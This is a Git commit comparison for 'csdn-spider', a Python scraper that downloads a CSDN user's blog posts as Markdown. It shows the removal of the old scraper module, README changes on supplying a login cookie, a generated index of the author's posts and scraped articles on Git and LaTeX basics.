Compare commits
10 Commits
521ae25c1b
...
ca37ac0626
Author | SHA1 | Date |
---|---|---|
D介子 | ca37ac0626 | |
dependabot[bot] | 72fca214d7 | |
admin | 362434f313 | |
admin | 0fba4a4dca | |
admin | b9fe881873 | |
ds19991999 | 53d81fd8e9 | |
ds19991999 | 78aafe5689 | |
ds19991999 | 2695a65fd2 | |
ds19991999 | 9fdfb1c64d | |
ds19991999 | ac7908cfc0 |
|
@ -96,7 +96,7 @@ venv.bak/
|
||||||
|
|
||||||
# Rope project settings
|
# Rope project settings
|
||||||
.ropeproject
|
.ropeproject
|
||||||
|
cookie.txt
|
||||||
# mkdocs documentation
|
# mkdocs documentation
|
||||||
/site
|
/site
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,8 @@
|
||||||
|
# 默认忽略的文件
|
||||||
|
/shelf/
|
||||||
|
/workspace.xml
|
||||||
|
# 数据源本地存储已忽略文件
|
||||||
|
/../../../../../../:\Users\creat\Desktop\csdn-spider\.idea/dataSources/
|
||||||
|
/dataSources.local.xml
|
||||||
|
# 基于编辑器的 HTTP 客户端请求
|
||||||
|
/httpRequests/
|
|
@ -0,0 +1,8 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<module type="PYTHON_MODULE" version="4">
|
||||||
|
<component name="NewModuleRootManager">
|
||||||
|
<content url="file://$MODULE_DIR$" />
|
||||||
|
<orderEntry type="jdk" jdkName="Python 3.8" jdkType="Python SDK" />
|
||||||
|
<orderEntry type="sourceFolder" forTests="false" />
|
||||||
|
</component>
|
||||||
|
</module>
|
|
@ -0,0 +1,6 @@
|
||||||
|
<component name="InspectionProjectProfileManager">
|
||||||
|
<settings>
|
||||||
|
<option name="USE_PROJECT_PROFILE" value="false" />
|
||||||
|
<version value="1.0" />
|
||||||
|
</settings>
|
||||||
|
</component>
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="ProjectRootManager" version="2" project-jdk-name="Python 3.8" project-jdk-type="Python SDK" />
|
||||||
|
</project>
|
|
@ -0,0 +1,8 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="ProjectModuleManager">
|
||||||
|
<modules>
|
||||||
|
<module fileurl="file://$PROJECT_DIR$/.idea/csdn-spider.iml" filepath="$PROJECT_DIR$/.idea/csdn-spider.iml" />
|
||||||
|
</modules>
|
||||||
|
</component>
|
||||||
|
</project>
|
|
@ -0,0 +1,6 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project version="4">
|
||||||
|
<component name="VcsDirectoryMappings">
|
||||||
|
<mapping directory="$PROJECT_DIR$" vcs="Git" />
|
||||||
|
</component>
|
||||||
|
</project>
|
|
@ -1,2 +0,0 @@
|
||||||
from .csdn import run
|
|
||||||
from .csdn import CSDN
|
|
186
CSDN/csdn.py
186
CSDN/csdn.py
|
@ -1,186 +0,0 @@
|
||||||
#!/usr/bin/env python
|
|
||||||
# coding: utf-8
|
|
||||||
|
|
||||||
import os, time, re
|
|
||||||
import requests
|
|
||||||
import threading
|
|
||||||
from bs4 import BeautifulSoup, Comment
|
|
||||||
from .tomd import Tomd
|
|
||||||
|
|
||||||
|
|
||||||
def result_file(folder_name, file_name, article_name):
|
|
||||||
folder = os.path.join(os.path.dirname(os.path.realpath(__file__)), "../"+article_name, folder_name)
|
|
||||||
if not os.path.exists(folder):
|
|
||||||
os.makedirs(folder)
|
|
||||||
path = os.path.join(folder, file_name)
|
|
||||||
file = open(path,"w")
|
|
||||||
file.close()
|
|
||||||
else:
|
|
||||||
path = os.path.join(folder, file_name)
|
|
||||||
return path
|
|
||||||
|
|
||||||
|
|
||||||
def delete_ele(soup:BeautifulSoup, tags:list):
|
|
||||||
for ele in tags:
|
|
||||||
for useless_tag in soup.select(ele):
|
|
||||||
useless_tag.decompose()
|
|
||||||
|
|
||||||
|
|
||||||
def delete_ele_attr(soup:BeautifulSoup, attrs:list):
|
|
||||||
for attr in attrs:
|
|
||||||
for useless_attr in soup.find_all():
|
|
||||||
del useless_attr[attr]
|
|
||||||
|
|
||||||
|
|
||||||
def delete_blank_ele(soup:BeautifulSoup, eles_except:list):
|
|
||||||
for useless_attr in soup.find_all():
|
|
||||||
try:
|
|
||||||
if useless_attr.name not in eles_except and useless_attr.text == "":
|
|
||||||
useless_attr.decompose()
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
|
|
||||||
class TaskQueue(object):
|
|
||||||
def __init__(self):
|
|
||||||
self.VisitedList = []
|
|
||||||
self.UnVisitedList = []
|
|
||||||
|
|
||||||
def getVisitedList(self):
|
|
||||||
return self.VisitedList
|
|
||||||
|
|
||||||
def getUnVisitedList(self):
|
|
||||||
return self.UnVisitedList
|
|
||||||
|
|
||||||
def InsertVisitedList(self, url):
|
|
||||||
if url not in self.VisitedList:
|
|
||||||
self.VisitedList.append(url)
|
|
||||||
|
|
||||||
def InsertUnVisitedList(self, url):
|
|
||||||
if url not in self.UnVisitedList:
|
|
||||||
self.UnVisitedList.append(url)
|
|
||||||
|
|
||||||
def RemoveVisitedList(self, url):
|
|
||||||
self.VisitedList.remove(url)
|
|
||||||
|
|
||||||
def PopUnVisitedList(self,index=0):
|
|
||||||
url = []
|
|
||||||
if index and self.UnVisitedList:
|
|
||||||
url = self.UnVisitedList[index]
|
|
||||||
del self.UnVisitedList[:index]
|
|
||||||
elif self.UnVisitedList:
|
|
||||||
url = self.UnVisitedList.pop()
|
|
||||||
return url
|
|
||||||
|
|
||||||
def getUnVisitedListLength(self):
|
|
||||||
return len(self.UnVisitedList)
|
|
||||||
|
|
||||||
|
|
||||||
class CSDN(object):
|
|
||||||
def __init__(self, username, article__folder_name):
|
|
||||||
self.headers = {
|
|
||||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36"
|
|
||||||
}
|
|
||||||
self.username = username
|
|
||||||
self.TaskQueue = TaskQueue()
|
|
||||||
self.article__folder_name = article__folder_name
|
|
||||||
self.url_num = 1
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
"""获取文章标题和链接"""
|
|
||||||
num = 0
|
|
||||||
while True:
|
|
||||||
num += 1
|
|
||||||
url = u'https://blog.csdn.net/' + self.username + '/article/list/' + str(num)
|
|
||||||
response = requests.get(url=url, headers=self.headers)
|
|
||||||
html = response.text
|
|
||||||
soup = BeautifulSoup(html, "html.parser")
|
|
||||||
articles = soup.find_all('div', attrs={"class":"article-item-box csdn-tracking-statistics"})
|
|
||||||
if len(articles) > 0:
|
|
||||||
for article in articles:
|
|
||||||
article_title = article.a.text.strip().replace(' ',': ')
|
|
||||||
article_href = article.a['href']
|
|
||||||
self.TaskQueue.InsertUnVisitedList([article_title, article_href])
|
|
||||||
else:
|
|
||||||
break
|
|
||||||
|
|
||||||
def get_md(self, url):
|
|
||||||
"""爬取文章"""
|
|
||||||
response = requests.get(url=url, headers=self.headers)
|
|
||||||
html = response.text
|
|
||||||
soup = BeautifulSoup(html, 'lxml')
|
|
||||||
content = soup.select_one("#content_views")
|
|
||||||
# 删除注释
|
|
||||||
for useless_tag in content(text=lambda text: isinstance(text, Comment)):
|
|
||||||
useless_tag.extract()
|
|
||||||
# 删除无用标签
|
|
||||||
tags = ["svg", "ul", ".hljs-button.signin"]
|
|
||||||
delete_ele(content, tags)
|
|
||||||
# 删除标签属性
|
|
||||||
attrs = ["class", "name", "id", "onclick", "style", "data-token", "rel"]
|
|
||||||
delete_ele_attr(content,attrs)
|
|
||||||
# 删除空白标签
|
|
||||||
eles_except = ["img", "br", "hr"]
|
|
||||||
delete_blank_ele(content, eles_except)
|
|
||||||
# 转换为markdown
|
|
||||||
md = Tomd(str(content)).markdown
|
|
||||||
return md
|
|
||||||
|
|
||||||
|
|
||||||
def write_readme(self):
|
|
||||||
"""生成readme"""
|
|
||||||
print("[++] 正在爬取 {} 的博文 ......".format(self.username))
|
|
||||||
reademe_path = result_file(self.username,file_name="README.md",article_name=self.article__folder_name)
|
|
||||||
with open(reademe_path,'w', encoding='utf-8') as reademe_file:
|
|
||||||
readme_head = "# " + self.username + " 的博文\n"
|
|
||||||
reademe_file.write(readme_head)
|
|
||||||
for [article_title,article_href] in self.TaskQueue.UnVisitedList[::-1]:
|
|
||||||
text = str(self.url_num) + '. [' + article_title + ']('+ article_href +')\n'
|
|
||||||
reademe_file.write(text)
|
|
||||||
self.url_num += 1
|
|
||||||
self.url_num = 1
|
|
||||||
|
|
||||||
def spider(self):
|
|
||||||
"""爬取所有文章"""
|
|
||||||
try:
|
|
||||||
while True:
|
|
||||||
[article_title,article_href] = self.TaskQueue.PopUnVisitedList()
|
|
||||||
try:
|
|
||||||
print("[++++] 正在处理URL:{}".format(article_href))
|
|
||||||
file_name = re.sub(r'[\/::*?"<>|]','-', article_title) + ".md"
|
|
||||||
artical_path = result_file(folder_name=self.username, file_name=file_name, article_name=self.article__folder_name)
|
|
||||||
md_head = "# " + article_title + "\n"
|
|
||||||
md = md_head + self.get_md(article_href)
|
|
||||||
with open(artical_path, "w", encoding="utf-8") as artical_file:
|
|
||||||
artical_file.write(md)
|
|
||||||
except Exception:
|
|
||||||
print("[----] 处理URL异常:{}".format(article_href))
|
|
||||||
self.url_num += 1
|
|
||||||
except Exception:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def muti_spider(self, thread_num):
|
|
||||||
while True:
|
|
||||||
if self.TaskQueue.getUnVisitedListLength() < 1:
|
|
||||||
break
|
|
||||||
thread_list = []
|
|
||||||
for i in range(thread_num):
|
|
||||||
th = threading.Thread(target=self.spider)
|
|
||||||
thread_list.append(th)
|
|
||||||
for th in thread_list:
|
|
||||||
th.start()
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def run(username: str = "ds19991999", thread_num: int = 10, article__folder_name: str = "articles"):
|
|
||||||
if not os.path.exists(article__folder_name):
|
|
||||||
os.makedirs(article__folder_name)
|
|
||||||
csdn = CSDN(username,article__folder_name)
|
|
||||||
csdn.start()
|
|
||||||
csdn.write_readme()
|
|
||||||
csdn.muti_spider(thread_num)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
run("ds19991999", 10, "articles")
|
|
||||||
|
|
23
README.md
23
README.md
|
@ -3,22 +3,31 @@
|
||||||
> 主要功能:爬取 csdn 博客指定用户的所有博文并转换为 markdown 格式保存到本地。
|
> 主要功能:爬取 csdn 博客指定用户的所有博文并转换为 markdown 格式保存到本地。
|
||||||
|
|
||||||
## 下载脚本
|
## 下载脚本
|
||||||
```
|
```shell
|
||||||
git clone https://github.com/ds19991999/csdn-spider.git
|
git clone https://github.com/ds19991999/csdn-spider.git
|
||||||
cd csdn-spider
|
cd csdn-spider
|
||||||
python3 -m pip install -r requirements.txt
|
python3 -m pip install -r requirements.txt
|
||||||
|
|
||||||
|
# 测试
|
||||||
|
python3 test.py # 需要先配置登录 cookie
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## 获取 cookie
|
||||||
|
|
||||||
|
登录 `csdn` 账号,进入:https://blog.csdn.net ,按 `F12` 调试网页,复制所有的 `Request Headers`,保存到`cookie.txt`文件中
|
||||||
|
|
||||||
|
![1571482112632](assets/1571482112632.png)
|
||||||
|
|
||||||
|
|
||||||
## 爬取用户全部博文
|
## 爬取用户全部博文
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python
|
import csdn
|
||||||
# coding: utf-8
|
csdn.spider("ds19991999", "cookie.txt")
|
||||||
|
# 参数 usernames: str, cookie_path:str, folder_name: str = "blog"
|
||||||
if __name__ == "__main__":
|
|
||||||
import CSDN
|
|
||||||
CSDN.run("ds19991999")
|
|
||||||
```
|
```
|
||||||
|
|
||||||
|
* 示例爬取博文效果: [ds19991999 的博文](https://github.com/ds19991999/csdn-spider/tree/master/blog/ds19991999)
|
||||||
|
|
||||||
## LICENSE
|
## LICENSE
|
||||||
|
|
||||||
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>
|
<a rel="license" href="http://creativecommons.org/licenses/by-nc-sa/4.0/"><img alt="Creative Commons License" style="border-width:0" src="https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png" /></a>
|
||||||
|
|
Binary file not shown.
After Width: | Height: | Size: 397 KiB |
|
@ -0,0 +1,201 @@
|
||||||
|
# ds19991999 的博文
|
||||||
|
1. [原创
|
||||||
|
: Markdown入门语法整理](https://blog.csdn.net/ds19991999/article/details/78549462)
|
||||||
|
2. [原创
|
||||||
|
: Pycharm安装与汉化](https://blog.csdn.net/ds19991999/article/details/78679215)
|
||||||
|
3. [原创
|
||||||
|
: Ubuntu安装及配置](https://blog.csdn.net/ds19991999/article/details/78679225)
|
||||||
|
4. [原创
|
||||||
|
: XML语言基础](https://blog.csdn.net/ds19991999/article/details/78786830)
|
||||||
|
5. [原创
|
||||||
|
: HTML语言笔记(一)](https://blog.csdn.net/ds19991999/article/details/78854330)
|
||||||
|
6. [原创
|
||||||
|
: HTML语言笔记(二)](https://blog.csdn.net/ds19991999/article/details/78854366)
|
||||||
|
7. [原创
|
||||||
|
: 用C++求100以内的素数](https://blog.csdn.net/ds19991999/article/details/79567460)
|
||||||
|
8. [原创
|
||||||
|
: C++实现随机产生一个二维数组](https://blog.csdn.net/ds19991999/article/details/79567596)
|
||||||
|
9. [原创
|
||||||
|
: 第二章 线性表](https://blog.csdn.net/ds19991999/article/details/79774947)
|
||||||
|
10. [原创
|
||||||
|
: 第一章 绪论](https://blog.csdn.net/ds19991999/article/details/79774959)
|
||||||
|
11. [原创
|
||||||
|
: 了解Shell环境](https://blog.csdn.net/ds19991999/article/details/79890020)
|
||||||
|
12. [原创
|
||||||
|
: Python排序算法](https://blog.csdn.net/ds19991999/article/details/79998011)
|
||||||
|
13. [原创
|
||||||
|
: 第八章 排序算法](https://blog.csdn.net/ds19991999/article/details/79999051)
|
||||||
|
14. [原创
|
||||||
|
: C++异常处理](https://blog.csdn.net/ds19991999/article/details/80231755)
|
||||||
|
15. [原创
|
||||||
|
: 第三章 栈和队列](https://blog.csdn.net/ds19991999/article/details/79824712)
|
||||||
|
16. [原创
|
||||||
|
: 第四章 串](https://blog.csdn.net/ds19991999/article/details/80262912)
|
||||||
|
17. [原创
|
||||||
|
: KMP算法详解](https://blog.csdn.net/ds19991999/article/details/80273575)
|
||||||
|
18. [原创
|
||||||
|
: 第五章 数组、矩阵与广义表](https://blog.csdn.net/ds19991999/article/details/80276232)
|
||||||
|
19. [原创
|
||||||
|
: 第六章 树与二叉树](https://blog.csdn.net/ds19991999/article/details/80281093)
|
||||||
|
20. [原创
|
||||||
|
: 第九章 查找](https://blog.csdn.net/ds19991999/article/details/80301611)
|
||||||
|
21. [原创
|
||||||
|
: 第七章 图](https://blog.csdn.net/ds19991999/article/details/80310337)
|
||||||
|
22. [原创
|
||||||
|
: 1.剑指Offer编程题之二维数组中的查找](https://blog.csdn.net/ds19991999/article/details/80575526)
|
||||||
|
23. [原创
|
||||||
|
: 统计学习方法_第一章](https://blog.csdn.net/ds19991999/article/details/80685443)
|
||||||
|
24. [转载
|
||||||
|
: Java并发编程完整总结](https://blog.csdn.net/ds19991999/article/details/80699948)
|
||||||
|
25. [原创
|
||||||
|
: 利用GitHub_Pages搭建简易个人博客](https://blog.csdn.net/ds19991999/article/details/80708987)
|
||||||
|
26. [原创
|
||||||
|
: 01-Git基本概念](https://blog.csdn.net/ds19991999/article/details/81275331)
|
||||||
|
27. [原创
|
||||||
|
: 02-图解Git笔记](https://blog.csdn.net/ds19991999/article/details/81275343)
|
||||||
|
28. [原创
|
||||||
|
: 03-廖雪峰Git教程笔记](https://blog.csdn.net/ds19991999/article/details/81275351)
|
||||||
|
29. [原创
|
||||||
|
: 04-Git命令总结](https://blog.csdn.net/ds19991999/article/details/81275387)
|
||||||
|
30. [原创
|
||||||
|
: 05-使用GitBook打造自己的出版平台](https://blog.csdn.net/ds19991999/article/details/81275458)
|
||||||
|
31. [原创
|
||||||
|
: 01-Latex简介](https://blog.csdn.net/ds19991999/article/details/81275546)
|
||||||
|
32. [原创
|
||||||
|
: 02-Latex数学公式编辑](https://blog.csdn.net/ds19991999/article/details/81275572)
|
||||||
|
33. [原创
|
||||||
|
: 03-用Jupyter编写数学公式](https://blog.csdn.net/ds19991999/article/details/81275580)
|
||||||
|
34. [原创
|
||||||
|
: 01-第一次使用Jupyter](https://blog.csdn.net/ds19991999/article/details/81275629)
|
||||||
|
35. [原创
|
||||||
|
: 02-Ipython Magic魔术](https://blog.csdn.net/ds19991999/article/details/81275730)
|
||||||
|
36. [原创
|
||||||
|
: Python数据结构(一)——Python数据类型](https://blog.csdn.net/ds19991999/article/details/81276017)
|
||||||
|
37. [原创
|
||||||
|
: Python数据结构(三)——基本数据结构](https://blog.csdn.net/ds19991999/article/details/81276089)
|
||||||
|
38. [原创
|
||||||
|
: Python数据结构(二)——算法分析](https://blog.csdn.net/ds19991999/article/details/81276054)
|
||||||
|
39. [原创
|
||||||
|
: Python正则表达式(二)](https://blog.csdn.net/ds19991999/article/details/81275937)
|
||||||
|
40. [原创
|
||||||
|
: Python3核心编程之正则表达式](https://blog.csdn.net/ds19991999/article/details/81275924)
|
||||||
|
41. [原创
|
||||||
|
: Python正则表达式(一)](https://blog.csdn.net/ds19991999/article/details/81275915)
|
||||||
|
42. [原创
|
||||||
|
: Python书单](https://blog.csdn.net/ds19991999/article/details/81275862)
|
||||||
|
43. [原创
|
||||||
|
: Jupyterlab安装](https://blog.csdn.net/ds19991999/article/details/81275827)
|
||||||
|
44. [原创
|
||||||
|
: Python数据结构(四)——递归](https://blog.csdn.net/ds19991999/article/details/81282327)
|
||||||
|
45. [原创
|
||||||
|
: Python数据结构(五)——排序和搜索](https://blog.csdn.net/ds19991999/article/details/81292520)
|
||||||
|
46. [原创
|
||||||
|
: 为Jekyll博客添加小功能](https://blog.csdn.net/ds19991999/article/details/81293467)
|
||||||
|
47. [原创
|
||||||
|
: Numpy学习(一)——Numpy 简介](https://blog.csdn.net/ds19991999/article/details/81293202)
|
||||||
|
48. [原创
|
||||||
|
: Numpy学习(二)——Matplotlib基础](https://blog.csdn.net/ds19991999/article/details/81294905)
|
||||||
|
49. [原创
|
||||||
|
: Numpy学习(三)—— 数组及其索引](https://blog.csdn.net/ds19991999/article/details/81323460)
|
||||||
|
50. [原创
|
||||||
|
: Jekyll博客Next主题超深度配置](https://blog.csdn.net/ds19991999/article/details/81516568)
|
||||||
|
51. [原创
|
||||||
|
: Git提交本地项目或文件](https://blog.csdn.net/ds19991999/article/details/81807095)
|
||||||
|
52. [转载
|
||||||
|
: Best Windows App](https://blog.csdn.net/ds19991999/article/details/81807114)
|
||||||
|
53. [转载
|
||||||
|
: 关于Python的面试题](https://blog.csdn.net/ds19991999/article/details/81807265)
|
||||||
|
54. [原创
|
||||||
|
: 教你屏蔽CSDN广告](https://blog.csdn.net/ds19991999/article/details/81843055)
|
||||||
|
55. [原创
|
||||||
|
: 了解门罗币](https://blog.csdn.net/ds19991999/article/details/81905100)
|
||||||
|
56. [转载
|
||||||
|
: 互联网协议入门](https://blog.csdn.net/ds19991999/article/details/81915914)
|
||||||
|
57. [转载
|
||||||
|
: TCP/IP协议](https://blog.csdn.net/ds19991999/article/details/81915958)
|
||||||
|
58. [原创
|
||||||
|
: ✍GitBook高级配置](https://blog.csdn.net/ds19991999/article/details/82055366)
|
||||||
|
59. [原创
|
||||||
|
: GitHub短网址服务](https://blog.csdn.net/ds19991999/article/details/82084387)
|
||||||
|
60. [原创
|
||||||
|
: Ubuntu安装pip](https://blog.csdn.net/ds19991999/article/details/82714729)
|
||||||
|
61. [原创
|
||||||
|
: 解决AppImage 程序没有正确显示图标](https://blog.csdn.net/ds19991999/article/details/82719521)
|
||||||
|
62. [原创
|
||||||
|
: 解决ubuntu系统的terminal无法获得锁](https://blog.csdn.net/ds19991999/article/details/82729996)
|
||||||
|
63. [原创
|
||||||
|
: shell学习](https://blog.csdn.net/ds19991999/article/details/82773402)
|
||||||
|
64. [原创
|
||||||
|
: Liunx常见任务和基本工具(上篇)](https://blog.csdn.net/ds19991999/article/details/82780391)
|
||||||
|
65. [原创
|
||||||
|
: Liunx常见任务和基本工具(下篇)](https://blog.csdn.net/ds19991999/article/details/82796638)
|
||||||
|
66. [原创
|
||||||
|
: Linux编译程序](https://blog.csdn.net/ds19991999/article/details/82803189)
|
||||||
|
67. [原创
|
||||||
|
: 第一个Shell脚本](https://blog.csdn.net/ds19991999/article/details/82807569)
|
||||||
|
68. [原创
|
||||||
|
: Shell流程控制:if 分支结构](https://blog.csdn.net/ds19991999/article/details/82813464)
|
||||||
|
69. [原创
|
||||||
|
: Shell流程控制:while/until 循环](https://blog.csdn.net/ds19991999/article/details/82813480)
|
||||||
|
70. [原创
|
||||||
|
: Shell流程控制:case 分支](https://blog.csdn.net/ds19991999/article/details/82813492)
|
||||||
|
71. [原创
|
||||||
|
: 最新Linux下QQ和微信的使用(很方便)](https://blog.csdn.net/ds19991999/article/details/82814524)
|
||||||
|
72. [原创
|
||||||
|
: aria2简单下载脚本](https://blog.csdn.net/ds19991999/article/details/82855643)
|
||||||
|
73. [原创
|
||||||
|
: Python2和Python3的区别](https://blog.csdn.net/ds19991999/article/details/83045924)
|
||||||
|
74. [原创
|
||||||
|
: Byte of Python3 总结](https://blog.csdn.net/ds19991999/article/details/83048480)
|
||||||
|
75. [原创
|
||||||
|
: Ubuntu终端美化](https://blog.csdn.net/ds19991999/article/details/82851033)
|
||||||
|
76. [原创
|
||||||
|
: Python Tutorial 2.7.14总结](https://blog.csdn.net/ds19991999/article/details/83052048)
|
||||||
|
77. [原创
|
||||||
|
: Python基础教程总结(上)](https://blog.csdn.net/ds19991999/article/details/83217617)
|
||||||
|
78. [原创
|
||||||
|
: 八皇后问题](https://blog.csdn.net/ds19991999/article/details/83218164)
|
||||||
|
79. [原创
|
||||||
|
: Python基础教程总结(下)](https://blog.csdn.net/ds19991999/article/details/83271371)
|
||||||
|
80. [原创
|
||||||
|
: 算法图解笔记](https://blog.csdn.net/ds19991999/article/details/83305054)
|
||||||
|
81. [原创
|
||||||
|
: Linux面试题](https://blog.csdn.net/ds19991999/article/details/83314630)
|
||||||
|
82. [原创
|
||||||
|
: leetcode15-三数之和](https://blog.csdn.net/ds19991999/article/details/83352817)
|
||||||
|
83. [原创
|
||||||
|
: 专题:排序算法](https://blog.csdn.net/ds19991999/article/details/83353393)
|
||||||
|
84. [转载
|
||||||
|
: PEP 8风格指南](https://blog.csdn.net/ds19991999/article/details/83377674)
|
||||||
|
85. [原创
|
||||||
|
: 第一章 数据库和SQL](https://blog.csdn.net/ds19991999/article/details/83387869)
|
||||||
|
86. [原创
|
||||||
|
: 在网站嵌入挖矿JS代码样式](https://blog.csdn.net/ds19991999/article/details/83539946)
|
||||||
|
87. [原创
|
||||||
|
: 云服务器搭建神器JupyterLab(多图)](https://blog.csdn.net/ds19991999/article/details/83663349)
|
||||||
|
88. [原创
|
||||||
|
: 金庸的武侠世界——小说人物分析](https://blog.csdn.net/ds19991999/article/details/83692070)
|
||||||
|
89. [原创
|
||||||
|
: 彻底解决Ubuntu联网问题——网速飞起](https://blog.csdn.net/ds19991999/article/details/83715489)
|
||||||
|
90. [原创
|
||||||
|
: Ubuntu使用日常](https://blog.csdn.net/ds19991999/article/details/83719417)
|
||||||
|
91. [原创
|
||||||
|
: Windows上挂载OneDrive为本地硬盘](https://blog.csdn.net/ds19991999/article/details/85008885)
|
||||||
|
92. [原创
|
||||||
|
: 资源分享](https://blog.csdn.net/ds19991999/article/details/85225611)
|
||||||
|
93. [原创
|
||||||
|
: CSDN自定义友链侧边栏](https://blog.csdn.net/ds19991999/article/details/86505686)
|
||||||
|
94. [原创
|
||||||
|
: 以WebDav方式挂载OneDrive](https://blog.csdn.net/ds19991999/article/details/86506042)
|
||||||
|
95. [原创
|
||||||
|
: 转存百度盘到gd/od的解决方案](https://blog.csdn.net/ds19991999/article/details/87736377)
|
||||||
|
96. [转载
|
||||||
|
: Office365 PC版修改更新频道](https://blog.csdn.net/ds19991999/article/details/87973325)
|
||||||
|
97. [原创
|
||||||
|
: Rclone笔记](https://blog.csdn.net/ds19991999/article/details/88370053)
|
||||||
|
98. [原创
|
||||||
|
: Let's Encrypt 泛域名证书申请](https://blog.csdn.net/ds19991999/article/details/88553810)
|
||||||
|
99. [原创
|
||||||
|
: Jekyll 博客 Netlify CMS 后台部署](https://blog.csdn.net/ds19991999/article/details/88651187)
|
||||||
|
100. [原创
|
||||||
|
: 解决套路云Debian新机update的时候出现Waiting for headers和404错误](https://blog.csdn.net/ds19991999/article/details/88659452)
|
|
@ -0,0 +1,103 @@
|
||||||
|
# 原创
|
||||||
|
: 01-Git基本概念
|
||||||
|
|
||||||
|
# 01-Git基本概念
|
||||||
|
|
||||||
|
# Git基本概念
|
||||||
|
|
||||||
|
>
|
||||||
|
参考:[CyC2018-Git](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/Git.md)
|
||||||
|
|
||||||
|
|
||||||
|
## Git常用命令步骤
|
||||||
|
|
||||||
|
### 第一次提交
|
||||||
|
|
||||||
|
```
|
||||||
|
//初始化本地仓库
|
||||||
|
git init
|
||||||
|
|
||||||
|
//登录信息
|
||||||
|
git config --global user.name "ds19991999"
|
||||||
|
git config --global user.email "2508328787@qq.com"
|
||||||
|
|
||||||
|
//添加到暂存区
|
||||||
|
git add .
|
||||||
|
|
||||||
|
//提交到工作区
|
||||||
|
git commit -m "first commit"
|
||||||
|
|
||||||
|
//添加远程Git仓库
|
||||||
|
git remote add origin https://github.com/ds-ebooks/jupyter-notebook.git
|
||||||
|
|
||||||
|
//在本地产生一个gh-pages分支,前提是你的Github上面也有一个gh-pages分支
|
||||||
|
git branch gh-pages
|
||||||
|
|
||||||
|
//切换本地分支
|
||||||
|
git checkout gh-pages
|
||||||
|
|
||||||
|
//查看分支
|
||||||
|
git branch -a
|
||||||
|
|
||||||
|
//查看当前状态
|
||||||
|
git status
|
||||||
|
|
||||||
|
//合并pull两个不同的项目
|
||||||
|
//解决fatal: refusing to merge unrelated histories
|
||||||
|
//远端中的文件,本地如果不存在会保留,这一步可以跳过
|
||||||
|
git pull origin master --allow-unrelated-histories
|
||||||
|
|
||||||
|
//使用强制push的方法:
|
||||||
|
git push -u origin master -f
|
||||||
|
```
|
||||||
|
|
||||||
|
### 之后的本地提交
|
||||||
|
|
||||||
|
```
|
||||||
|
git add .
|
||||||
|
|
||||||
|
git commit -m "..."
|
||||||
|
|
||||||
|
//这一步可以忽略
|
||||||
|
git pull origin master --allow-unrelated-histories
|
||||||
|
|
||||||
|
git push -u origin master -f
|
||||||
|
```
|
||||||
|
|
||||||
|
## 集中式和分布式
|
||||||
|
|
||||||
|
## Git 的中心服务器
|
||||||
|
|
||||||
|
## 工作流
|
||||||
|
|
||||||
|
可以跳过暂存区域直接从分支中取出修改或者直接提交修改到分支中 :
|
||||||
|
|
||||||
|
## 分支实现
|
||||||
|
|
||||||
|
## 冲突
|
||||||
|
|
||||||
|
```
|
||||||
|
<<<<<<< HEAD
|
||||||
|
Creating a new branch is quick & simple.
|
||||||
|
=======
|
||||||
|
Creating a new branch is quick AND simple.
|
||||||
|
>>>>>>> feature1
|
||||||
|
```
|
||||||
|
|
||||||
|
## Fast forward
|
||||||
|
|
||||||
|
```
|
||||||
|
git merge --no-ff -m "merge with no-ff" dev
|
||||||
|
```
|
||||||
|
|
||||||
|
## 分支管理策略
|
||||||
|
|
||||||
|
## 储藏(Stashing)
|
||||||
|
|
||||||
|
## SSH 传输设置
|
||||||
|
|
||||||
|
## .gitignore 文件
|
||||||
|
|
||||||
|
忽略以下文件:
|
||||||
|
|
||||||
|
## 参考资料
|
|
@ -0,0 +1,67 @@
|
||||||
|
# 原创
|
||||||
|
: 01-Latex简介
|
||||||
|
|
||||||
|
# 01-Latex简介
|
||||||
|
|
||||||
|
# LaTex简介
|
||||||
|
|
||||||
|
# Contents
|
||||||
|
|
||||||
|
## 优雅的LaTex
|
||||||
|
|
||||||
|
有很多 Geeks 或者 LaTeX’s Fanatical Fans 过分地强调了 LaTeX 的一些并非重点的特性,以至于很多初学者会觉得 LaTeX 很神秘很复杂,从而引发了初学者的畏难情绪甚至是负面情绪。尽管这些 Fans 说得并没有错,我是说在事实上,但是他们的表达方式和内心态度却间接阻碍了 LaTeX 的发展,我想这也是和他们的初衷相悖的。
|
||||||
|
|
||||||
|
*** LaTex—— 这个优雅,但有着自己高傲,却绝不复杂甚至神秘的东西。***
|
||||||
|
|
||||||
|
## Hello World!
|
||||||
|
|
||||||
|
输入:
|
||||||
|
|
||||||
|
```
|
||||||
|
\documentclass{article}
|
||||||
|
%这里是导言区
|
||||||
|
\begin{document}
|
||||||
|
Hello, world!
|
||||||
|
\end{document}
|
||||||
|
```
|
||||||
|
|
||||||
|
输出: <br/>
|
||||||
|
|
||||||
|
此处的第一行 `\documentclass{article}` 中包含了一个控制序列(或称命令/标记)。所谓控制序列,是以反斜杠`\`开头,以第一个**空格或非字母** 的字符结束的一串文字,他们并不被输出,但是他们会影响输出文档的效果。这里的控制序列是 `documentclass`,它后面紧跟着的 `{article}` 代表这个控制序列有一个必要的参数,该参数的值为 `article`。这个控制序列的作用,是调用名为 “article” 的文档类。
|
||||||
|
|
||||||
|
****请注意,TeX 对控制序列的大小写是敏感的****
|
||||||
|
|
||||||
|
